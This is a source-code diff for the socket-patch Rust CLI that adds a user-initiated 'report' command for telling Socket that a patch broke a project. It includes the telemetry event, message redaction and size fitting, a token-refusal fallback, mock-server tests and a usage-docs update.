b/crates/socket-patch-cli/tests/rollback/rollback_render.rs index f1e9fb923..2ad840329 100644 --- a/crates/socket-patch-cli/tests/rollback/rollback_render.rs +++ b/crates/socket-patch-cli/tests/rollback/rollback_render.rs @@ -1235,4 +1235,68 @@ mod interactive { "a declined rollback must leave the manifest byte-identical" ); } + + /// Someone at a terminal who names the patch to take off is given the + /// command that reports it, by UUID: the project no longer holds the + /// patch, so nothing else names it. A piped run, a dry run and a bare + /// rollback say nothing of the kind. + #[test] + fn a_targeted_rollback_at_a_terminal_ends_with_the_report_command() { + const HINT: &str = "Did this patch break something? Tell Socket: socket-patch report \ + aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa --message \"what happened\""; + // A terminal wraps the line at its 80 columns. + let unwrapped = |output: &str| output.replace("\r\n", "").replace('\n', ""); + + let fx = patched_fixture(); + let (code, output) = pty_io::run( + &["rollback", "covgap-target", "--offline", "--dry-run"], + fx.root.path(), + "y\n", + Duration::from_secs(15), + ); + assert_eq!(code, 0, "{output}"); + assert!(!output.contains("Tell Socket"), "a dry run: {output}"); + + let (code, output) = pty_io::run( + &["rollback", "covgap-target", "--offline"], + fx.root.path(), + "y\n", + Duration::from_secs(15), + ); + assert_eq!(code, 0, "{output}"); + assert_eq!( + std::fs::read(fx.pkg_dir.join("index.js")).unwrap(), + fx.before + ); + assert!(unwrapped(&output).contains(HINT), "{output}"); + + // Piped: the same rollback, and no hint. + let fx = patched_fixture(); + let (code, stdout, stderr) = + run(fx.root.path(), &["rollback", "covgap-target", "--offline"]); + assert_eq!(code, 0, "stdout={stdout}\nstderr={stderr}"); + assert_eq!( + std::fs::read(fx.pkg_dir.join("index.js")).unwrap(), + fx.before + ); + assert!( + !stdout.contains("Tell Socket") && !stderr.contains("Tell Socket"), + "{stdout}{stderr}" + ); + + // A bare rollback at a terminal: it was not about one patch. + let fx = patched_fixture(); + let (code, output) = pty_io::run( + &["rollback", "--offline"], + fx.root.path(), + "y\n", + Duration::from_secs(15), + ); + assert_eq!(code, 0, "{output}"); + assert_eq!( + std::fs::read(fx.pkg_dir.join("index.js")).unwrap(), + fx.before + ); + assert!(!output.contains("Tell Socket"), "a bare rollback: {output}"); + } } diff --git a/crates/socket-patch-core/src/telemetry.rs b/crates/socket-patch-core/src/telemetry.rs index 19800c00d..0b075d85e 100644 --- a/crates/socket-patch-core/src/telemetry.rs +++ b/crates/socket-patch-core/src/telemetry.rs @@ -59,12 +59,14 @@ enum PatchTelemetryEventType { // Self-update (`socket-patch --update`) CliUpdated, CliUpdateFailed, + // A user's report that a patch broke something (`report`) + PatchReported, } impl PatchTelemetryEventType { /// Every variant, for the backend-contract test. #[cfg(test)] - const ALL: [Self; 19] = [ + const ALL: [Self; 20] = [ Self::PatchApplied, Self::PatchApplyFailed, Self::PatchRemoved, @@ -84,6 +86,7 @@ impl PatchTelemetryEventType { Self::VexFailed, Self::CliUpdated, Self::CliUpdateFailed, + Self::PatchReported, ]; /// Return the wire-format string for this event type. @@ -108,6 +111,7 @@ impl PatchTelemetryEventType { Self::VexFailed => "vex_failed", Self::CliUpdated => "cli_updated", Self::CliUpdateFailed => "cli_update_failed", + Self::PatchReported => "patch_reported", } } } @@ -467,19 +471,41 @@ fn prepare_send(event: PatchTelemetryEvent, auth: &TelemetryAuth) -> PreparedSen /// cannot finish (a blackholed endpoint, a host that accepts and stalls) /// while a long-running command is still at work beside it. async fn send_telemetry_event(prepared: PreparedSend) { + match post_event(prepared).await { + Ok(()) => debug_log("Telemetry sent successfully"), + Err(why) => debug_log(&format!("Telemetry request {why}")), + } +} + +/// What a POST did instead of succeeding. Its text follows "the request" +/// in a debug line or an error message (`returned status 500 …`, +/// `failed: …`); any URL in it is redacted. +#[derive(Debug)] +enum PostFailure { + /// The endpoint answered with a status that is not a success. + Status(reqwest::StatusCode), + /// No answer: no client, no connection, a timeout. + NoAnswer(String), +} + +impl std::fmt::Display for PostFailure { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Status(status) => write!(f, "returned status {status}"), + Self::NoAnswer(why) => f.write_str(why), + } + } +} + +/// POST one event and say whether the endpoint took it. +async fn post_event(prepared: PreparedSend) -> Result<(), PostFailure> { let PreparedSend { event, url, bearer } = prepared; - let client = match crate::utils::http::client_builder() + let client = crate::utils::http::client_builder() .connect_timeout(std::time::Duration::from_secs(2)) .timeout(std::time::Duration::from_secs(5)) .build() - { - Ok(c) => c, - Err(e) => { - debug_log(&format!("Failed to build HTTP client: {e}")); - return; - } - }; + .map_err(|e| PostFailure::NoAnswer(format!("could not start (no HTTP client: {e})")))?; let mut request = client .post(&url) @@ -491,17 +517,14 @@ async fn send_telemetry_event(prepared: PreparedSend) { } match request.json(&event).send().await { - Ok(response) => { - let status = response.status(); - if status.is_success() { - debug_log("Telemetry sent successfully"); - } else { - debug_log(&format!("Telemetry request returned status {status}")); - } - } - Err(e) => { - debug_log(&format!("Telemetry request failed: {e}")); - } + Ok(response) if response.status().is_success() => Ok(()), + Ok(response) => Err(PostFailure::Status(response.status())), + // The whole cause chain: reqwest's own text stops at "error + // sending request", before the refused connection or the timeout. + Err(e) => Err(PostFailure::NoAnswer(format!( + "failed: {}", + crate::api::client::network_error_detail(&e) + ))), } } @@ -613,7 +636,8 @@ pub struct PatchOutcome { pub uuid: String, /// The ecosystem's CLI name (`npm`, `pypi`, …); empty when unknown. pub ecosystem: String, - /// [`MODE_AGENT`], [`MODE_HOSTED`] or [`MODE_VENDORED`]. + /// [`MODE_AGENT`], [`MODE_HOSTED`] or [`MODE_VENDORED`]; a reported + /// patch the project does not hold has [`MODE_UNKNOWN`]. pub mode: &'static str, /// What happened: `applied`, `rolled_back`, `removed`, `downloaded`, /// `failed`, `skipped`, … (the command's own vocabulary). @@ -998,6 +1022,227 @@ pub async fn track_patch_rollback_failed( ); } +// --------------------------------------------------------------------------- +// Patch reports: `report` +// --------------------------------------------------------------------------- + +/// The [`PatchOutcome::outcome`] of a patch a user reported. +pub const OUTCOME_REPORTED: &str = "reported"; + +/// The [`PatchOutcome::mode`] of a patch reported by UUID that the project +/// does not hold (one already rolled back, say), so its mode is not known. +pub const MODE_UNKNOWN: &str = "unknown"; + +/// The longest message a report carries, in characters. +pub const MAX_REPORT_MESSAGE_CHARS: usize = 1000; + +/// What a reported patch broke. A report is only ever about a patch that +/// broke something: there is no report that a patch works. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ReportReason { + /// The project no longer installs, compiles or builds. + BreaksBuild, + /// The project's tests fail. + BreaksTests, + /// The project misbehaves when it runs. + BreaksRuntime, + /// Something else; the message says what. + Other, +} + +impl ReportReason { + /// Every reason, in the order help text lists them. + pub const ALL: [Self; 4] = [ + Self::BreaksBuild, + Self::BreaksTests, + Self::BreaksRuntime, + Self::Other, + ]; + + /// The wire-format string. + pub fn as_str(self) -> &'static str { + match self { + Self::BreaksBuild => "breaks_build", + Self::BreaksTests => "breaks_tests", + Self::BreaksRuntime => "breaks_runtime", + Self::Other => "other", + } + } +} + +/// Why a report did not reach Socket. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum ReportNotSent { + /// The run is offline (`--offline`, `SOCKET_OFFLINE`). + Offline, + /// It names more patches than one event carries + /// ([`MAX_REPORTED_PATCHES`]): sending it would drop some unsaid. + TooManyPatches, + /// The endpoint did not take it; the text says what happened. + NotDelivered(String), +} + +impl ReportNotSent { + /// The stable code a `--json` run reports. + pub fn code(&self) -> &'static str { + match self { + Self::Offline => "offline_unsupported", + Self::TooManyPatches => "too_many_patches", + Self::NotDelivered(_) => "report_not_sent", + } + } +} + +impl std::fmt::Display for ReportNotSent { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Offline => f.write_str("the run is offline"), + Self::TooManyPatches => write!( + f, + "one report names at most {MAX_REPORTED_PATCHES} patches; send the rest in \ + another" + ), + Self::NotDelivered(why) => write!(f, "the request {why}"), + } + } +} + +/// A report's message as it is sent: on one line, with URLs' credentials +/// and the home directory redacted ([`sanitize_error_message`]), cut to +/// [`MAX_REPORT_MESSAGE_CHARS`]. `None` for a message with nothing in it. +pub fn report_message(message: &str) -> Option { + // Line breaks and control characters become spaces: each would cost + // up to six bytes of the event once JSON escapes it. + let flat = message + .split(|c: char| c.is_whitespace() || c.is_control()) + .filter(|word| !word.is_empty()) + .collect::>() + .join(" "); + if flat.is_empty() { + return None; + } + Some(truncate_chars( + sanitize_error_message(&flat), + MAX_REPORT_MESSAGE_CHARS, + )) +} + +/// The `patch_reported` event of a report, before [`fit`] has cut it. +fn report_event( + command: &'static str, + reason: ReportReason, + message: Option<&str>, + patches: &[PatchOutcome], +) -> PatchTelemetryEvent { + let mut fields = serde_json::json!({ "reason": reason.as_str() }); + if let Some(message) = message { + fields["message"] = serde_json::json!(message); + } + let metadata = match with_patches(fields, patches) { + serde_json::Value::Object(map) => map.into_iter().collect(), + _ => HashMap::new(), + }; + build_telemetry_event( + PatchTelemetryEventType::PatchReported, + command, + Some(metadata), + None, + ) +} + +/// Whether a report's event lost patches to a cap ([`with_patches`]'s +/// or [`fit`]'s): the report would then name fewer than the user did. +fn drops_patches(event: &PatchTelemetryEvent) -> bool { + event + .metadata + .as_ref() + .is_some_and(|metadata| metadata.contains_key("patches_truncated")) +} + +/// The message a report of `patches` carries: `message` as +/// [`report_message`] makes it, cut further only where the event would +/// otherwise be too large to name every patch (a full list beside a +/// long message in a wide script). What comes back is what +/// [`send_patch_report`] sends, so a caller can show it first. +/// +/// `Err(TooManyPatches)` for more patches than one event names: a +/// report never leaves a patch out unsaid. +pub fn fitted_report_message( + command: &'static str, + reason: ReportReason, + message: Option<&str>, + patches: &[PatchOutcome], +) -> Result, ReportNotSent> { + if patches.len() > MAX_REPORTED_PATCHES { + return Err(ReportNotSent::TooManyPatches); + } + let mut message = message.and_then(report_message); + loop { + if !drops_patches(&report_event(command, reason, message.as_deref(), patches)) { + return Ok(message); + } + // The patches are the report; the message gives way to them. + message = match message { + Some(text) if text.chars().count() > 1 => { + let half = text.chars().count() / 2; + Some(truncate_chars(text, half)) + } + // No message left to cut: the patch list alone is too large. + _ => return Err(ReportNotSent::TooManyPatches), + }; + } +} + +/// Send a user's report that `patches` broke something, as `command` +/// (`report`), and wait for the answer: unlike a tracker's event, a +/// report is the point of the run, so the caller says whether it +/// arrived. +/// +/// The event names each patch by UUID, ecosystem and mode (never a +/// package name or a path), the reason, and the message the user typed +/// ([`fitted_report_message`]). +/// +/// A report is something the user asked to send, not telemetry about a +/// run, so the telemetry opt-outs ([`is_telemetry_disabled`]) do not stop +/// it. An offline run does: it makes no request of any kind. +/// +/// A token the org endpoint refuses (401 / 403: expired, revoked, or +/// without access to the org) does not lose the report: it goes out +/// again without the token, on the public route an anonymous run uses. +pub async fn send_patch_report( + command: &'static str, + reason: ReportReason, + message: Option<&str>, + patches: &[PatchOutcome], + auth: &TelemetryAuth, +) -> Result<(), ReportNotSent> { + if is_offline_env() { + return Err(ReportNotSent::Offline); + } + let message = fitted_report_message(command, reason, message, patches)?; + let event = report_event(command, reason, message.as_deref(), patches); + let refused = match post_event(prepare_send(event.clone(), auth)).await { + Ok(()) => return Ok(()), + Err(PostFailure::Status(status)) + if auth.is_authenticated() + && matches!( + status, + reqwest::StatusCode::UNAUTHORIZED | reqwest::StatusCode::FORBIDDEN + ) => + { + status + } + Err(failure) => return Err(ReportNotSent::NotDelivered(failure.to_string())), + }; + debug_log(&format!( + "The report's token was refused ({refused}); sending it without one" + )); + let public = TelemetryAuth::proxy_at(&proxy_url_from_env()); + post_event(prepare_send(event, &public)) + .await + .map_err(|failure| ReportNotSent::NotDelivered(failure.to_string())) +} + // --------------------------------------------------------------------------- // Read-side trackers: scan + get // --------------------------------------------------------------------------- @@ -1768,6 +2013,11 @@ mod tests { PatchTelemetryEventType::CliUpdateFailed.as_str(), "cli_update_failed" ); + // Reports + assert_eq!( + PatchTelemetryEventType::PatchReported.as_str(), + "patch_reported" + ); } /// The `event_type` strings the Socket API's `/v0/orgs/:slug/telemetry` @@ -1803,6 +2053,7 @@ mod tests { "vex_failed", "cli_updated", "cli_update_failed", + "patch_reported", ]; #[test] @@ -1967,6 +2218,307 @@ mod tests { (server, auth) } + /// A report posts `patch_reported` with the reason, the message and + /// the patches, and comes back once the endpoint has taken it. + #[tokio::test] + #[serial_test::serial] + async fn a_report_posts_the_reason_the_message_and_the_patches() { + let (server, auth) = org_endpoint().await; + let _on = TelemetryOn::new(); + let sent = send_patch_report( + "report", + ReportReason::BreaksTests, + Some("jest fails:\n TypeError in ~ /x\t(see log)"), + &[ + outcome(UUID_A, "npm", MODE_AGENT, OUTCOME_REPORTED, None), + outcome(UUID_B, "", MODE_UNKNOWN, OUTCOME_REPORTED, None), + ], + &auth, + ) + .await; + assert_eq!(sent, Ok(())); + + // Nothing is left in flight: the request was awaited. + let bodies = posted(&server).await; + assert_eq!(bodies.len(), 1); + let body = &bodies[0]; + assert_eq!(body["event_type"], "patch_reported"); + assert_eq!(body["context"]["command"], "report"); + // No `event_kind`: the server stores an event without one for + // every org (see `wire_shape_matches_the_backend_extractor`). + assert!(body.get("event_kind").is_none()); + let metadata = &body["metadata"]; + assert_eq!(metadata["reason"], "breaks_tests"); + assert_eq!( + metadata["message"], + "jest fails: TypeError in ~ /x (see log)" + ); + assert_eq!( + metadata["patches"], + serde_json::json!([ + { "uuid": UUID_A, "ecosystem": "npm", "mode": "agent", "outcome": "reported" }, + { "uuid": UUID_B, "ecosystem": "", "mode": "unknown", "outcome": "reported" }, + ]) + ); + assert_eq!(metadata["outcomes"], serde_json::json!({ "reported": 2 })); + } + + /// A report is sent because the user asked for it: no telemetry + /// opt-out stops it. An offline run sends nothing at all. + #[tokio::test] + #[serial_test::serial] + async fn a_report_ignores_the_telemetry_opt_outs_but_not_offline() { + let (server, auth) = org_endpoint().await; + let _on = TelemetryOn::new(); + let patches = [outcome(UUID_A, "npm", MODE_AGENT, OUTCOME_REPORTED, None)]; + + for var in ["SOCKET_TELEMETRY_DISABLED", "DO_NOT_TRACK"] { + std::env::set_var(var, "1"); + assert!(is_telemetry_disabled()); + let sent = send_patch_report("report", ReportReason::Other, None, &patches, &auth); + assert_eq!(sent.await, Ok(()), "{var} must not stop a report"); + std::env::remove_var(var); + } + let bodies = posted(&server).await; + assert_eq!(bodies.len(), 2); + // A report without a message carries no `message` key. + assert!(bodies[0]["metadata"].get("message").is_none()); + + std::env::set_var("SOCKET_OFFLINE", "1"); + let sent = send_patch_report("report", ReportReason::Other, None, &patches, &auth).await; + std::env::remove_var("SOCKET_OFFLINE"); + assert_eq!(sent, Err(ReportNotSent::Offline)); + assert_eq!(ReportNotSent::Offline.code(), "offline_unsupported"); + assert_eq!( + posted(&server).await.len(), + 2, + "an offline report is not sent" + ); + } + + /// A report the endpoint refuses, or that reaches no endpoint, says + /// so: the caller must not tell the user it was received. + #[tokio::test] + #[serial_test::serial] + async fn a_report_that_is_not_delivered_says_so() { + use wiremock::matchers::method; + use wiremock::{Mock, MockServer, ResponseTemplate}; + + let _on = TelemetryOn::new(); + let patches = [outcome(UUID_A, "npm", MODE_AGENT, OUTCOME_REPORTED, None)]; + + let server = MockServer::start().await; + Mock::given(method("POST")) + .respond_with(ResponseTemplate::new(500)) + .mount(&server) + .await; + let refused = send_patch_report( + "report", + ReportReason::Other, + None, + &patches, + &route_to(&server), + ) + .await + .unwrap_err(); + assert_eq!(refused.code(), "report_not_sent"); + assert_eq!( + refused.to_string(), + "the request returned status 500 Internal Server Error" + ); + + // Nothing listens here; the URL's credentials stay out of the text. + let nowhere = TelemetryAuth { + url: "http://user:hunter2@127.0.0.1:9/telemetry".to_string(), + bearer: None, + }; + let unreachable = + send_patch_report("report", ReportReason::Other, None, &patches, &nowhere) + .await + .unwrap_err(); + assert_eq!(unreachable.code(), "report_not_sent"); + let text = unreachable.to_string(); + assert!(text.starts_with("the request failed: "), "{text}"); + assert!(!text.contains("hunter2"), "{text}"); + } + + /// A report never leaves a patch out unsaid: more patches than one + /// event names is refused before anything is sent, and a long message + /// beside a full list is cut so that every patch still fits. + #[tokio::test] + #[serial_test::serial] + async fn a_report_names_every_patch_or_is_not_sent() { + let (server, auth) = org_endpoint().await; + let _on = TelemetryOn::new(); + let patch = |n: usize| { + outcome( + &format!("{n:08x}-1111-4111-8111-111111111111"), + "composer", + MODE_VENDORED, + OUTCOME_REPORTED, + None, + ) + }; + + let too_many: Vec = (0..=MAX_REPORTED_PATCHES).map(patch).collect(); + let refused = + send_patch_report("report", ReportReason::Other, None, &too_many, &auth).await; + assert_eq!(refused, Err(ReportNotSent::TooManyPatches)); + assert_eq!(ReportNotSent::TooManyPatches.code(), "too_many_patches"); + assert!(posted(&server).await.is_empty(), "nothing is sent"); + + // 1000 four-byte characters beside a full list is over the + // event's size: the message is cut, the list is not. + let full: Vec = (0..MAX_REPORTED_PATCHES).map(patch).collect(); + let wide = "\u{1F4A5}".repeat(MAX_REPORT_MESSAGE_CHARS); + let fitted = + fitted_report_message("report", ReportReason::Other, Some(&wide), &full).unwrap(); + let fitted = fitted.expect("a message is still sent"); + assert!(fitted.chars().count() < MAX_REPORT_MESSAGE_CHARS); + assert!(fitted.ends_with('…')); + // Fitting what was fitted changes nothing: a caller may show the + // message first and send it after. + assert_eq!( + fitted_report_message("report", ReportReason::Other, Some(&fitted), &full).unwrap(), + Some(fitted.clone()) + ); + + let sent = + send_patch_report("report", ReportReason::Other, Some(&wide), &full, &auth).await; + assert_eq!(sent, Ok(())); + let bodies = posted(&server).await; + assert_eq!(bodies.len(), 1); + let metadata = &bodies[0]["metadata"]; + assert_eq!( + metadata["patches"].as_array().unwrap().len(), + MAX_REPORTED_PATCHES + ); + assert!(metadata.get("patches_truncated").is_none()); + assert_eq!(metadata["message"], fitted.as_str()); + assert!( + serde_json::to_string(&bodies[0]).unwrap().len() <= MAX_EVENT_BYTES, + "the event stays readable to the server" + ); + } + + /// A saved login the org endpoint refuses must not cost the report: + /// it is sent again without the token, on the public route. A refusal + /// there, or of a run that had no token, is the failure reported. + #[tokio::test] + #[serial_test::serial] + async fn a_refused_token_sends_the_report_on_the_public_route() { + use wiremock::matchers::{method, path}; + use wiremock::{Mock, MockServer, ResponseTemplate}; + + let _on = TelemetryOn::new(); + let patches = [outcome(UUID_A, "npm", MODE_AGENT, OUTCOME_REPORTED, None)]; + let saved_proxy = std::env::var("SOCKET_PROXY_URL").ok(); + + for refusal in [401, 403] { + let server = MockServer::start().await; + Mock::given(method("POST")) + .and(path("/v0/orgs/acme/telemetry")) + .respond_with(ResponseTemplate::new(refusal)) + .mount(&server) + .await; + Mock::given(method("POST")) + .and(path("/patch/telemetry")) + .respond_with(ResponseTemplate::new(201)) + .mount(&server) + .await; + std::env::set_var("SOCKET_PROXY_URL", server.uri()); + let auth = TelemetryAuth { + url: format!("{}/v0/orgs/acme/telemetry", server.uri()), + bearer: Some("stale".to_string()), + }; + let sent = + send_patch_report("report", ReportReason::Other, None, &patches, &auth).await; + assert_eq!(sent, Ok(()), "a {refusal} falls back"); + let requests = server.received_requests().await.unwrap(); + let seen: Vec<(&str, bool)> = requests + .iter() + .map(|r| (r.url.path(), r.headers.contains_key("authorization"))) + .collect(); + assert_eq!( + seen, + [ + ("/v0/orgs/acme/telemetry", true), + ("/patch/telemetry", false) + ], + "the second send carries no token" + ); + assert_eq!(requests[0].body, requests[1].body, "the same report"); + + // A run with no token has no other route to try. + let anonymous = TelemetryAuth { + url: format!("{}/v0/orgs/acme/telemetry", server.uri()), + bearer: None, + }; + let refused = + send_patch_report("report", ReportReason::Other, None, &patches, &anonymous) + .await + .unwrap_err(); + assert_eq!(refused.code(), "report_not_sent"); + assert_eq!(server.received_requests().await.unwrap().len(), 3); + } + + // A server error is not a refused token: no second send. + let server = MockServer::start().await; + Mock::given(method("POST")) + .respond_with(ResponseTemplate::new(500)) + .mount(&server) + .await; + std::env::set_var("SOCKET_PROXY_URL", server.uri()); + let failed = send_patch_report( + "report", + ReportReason::Other, + None, + &patches, + &route_to(&server), + ) + .await; + assert!(matches!(failed, Err(ReportNotSent::NotDelivered(_)))); + assert_eq!(server.received_requests().await.unwrap().len(), 1); + + match saved_proxy { + Some(value) => std::env::set_var("SOCKET_PROXY_URL", value), + None => std::env::remove_var("SOCKET_PROXY_URL"), + } + } + + /// A message goes out on one line, redacted and bounded; one with + /// nothing in it is no message. + #[test] + fn a_report_message_is_one_bounded_redacted_line() { + assert_eq!(report_message(" \n\t "), None); + assert_eq!( + report_message("line one\r\nline\u{0}two"), + Some("line one line two".to_string()) + ); + assert_eq!( + report_message("see https://user:hunter2@example.com/log"), + Some(sanitize_error_message( + "see https://user:hunter2@example.com/log" + )) + ); + assert!(!report_message("see https://user:hunter2@example.com/log") + .unwrap() + .contains("hunter2")); + let long = report_message(&"é".repeat(MAX_REPORT_MESSAGE_CHARS + 50)).unwrap(); + assert_eq!(long.chars().count(), MAX_REPORT_MESSAGE_CHARS); + assert!(long.ends_with('…')); + } + + /// The reasons are what the user types and what the server stores. + #[test] + fn report_reasons_have_stable_wire_strings() { + let wire: Vec<&str> = ReportReason::ALL.iter().map(|r| r.as_str()).collect(); + assert_eq!( + wire, + ["breaks_build", "breaks_tests", "breaks_runtime", "other"] + ); + } + /// Each public tracker posts the event type and metadata the backend /// and its dashboards key on, to the org endpoint with the bearer. #[tokio::test] diff --git a/docs/usage.md b/docs/usage.md index fd94cf856..ee54fad7b 100644 --- a/docs/usage.md +++ b/docs/usage.md @@ -326,6 +326,7 @@ The removed `setup` command is covered in the [migration guide](migrating-to-v5. | `show ` | Look inside one patch without applying it: the advisories it fixes, what Socket measured about it (exploits blocked, tests passing, size, run-time cost), the files it changes and their diffs | | `rollback [NAME\|PURL\|UUID\|PATH]...` | Restore selected patches, or all patches when no target is given, and remove their local state | | `remove ` | Restore and remove matching patches; a name or versionless PURL selects every recorded version | +| `report ...` | Tell Socket that a patch broke the build, the tests or the application | | `vendor --revert` | Undo vendoring from its recorded edits and remove the vendored artifacts | | `repair` | Restore missing or corrupt agent patch data and vendored artifacts using existing records, and clean unused data | | `scan --mode agent --prune` | Patch discovered packages and remove records for dependencies that left the project | @@ -348,6 +349,22 @@ stays on screen. `list --verbose`, `list --yes` and a piped `list` print every patch's full entry instead and ask the patch service nothing; so does `--offline`, which browses what the project records. +If a patch breaks your project, tell Socket so the patch can be fixed or withdrawn: + +```sh +socket-patch report lodash --reason tests --message "jest: TypeError in merge()" +``` + +`--reason` is `build`, `tests`, `runtime` or `other` (the default), and `--message` +adds one in your own words. A package name or PURL names the patch this project holds +for it; a patch UUID names any patch, so you can report one after rolling it back (a +`rollback` of named patches prints the command). The report carries the patch's id, +its ecosystem and patch mode, the reason, your message, and the CLI's version and +platform: no package names, paths or file contents. It is sent because you ran it, +so the telemetry opt-outs do not apply to it; `--offline` sends nothing, and +`--dry-run` shows the whole report as it would be sent. One report names up to 50 +patches. `report` changes nothing in the project. + Use `--dry-run` to preview. `rollback --preserve-state` and `remove --preserve-state` restore dependencies while keeping local patch records and artifacts for later reuse. Hosted pins have no local state to preserve.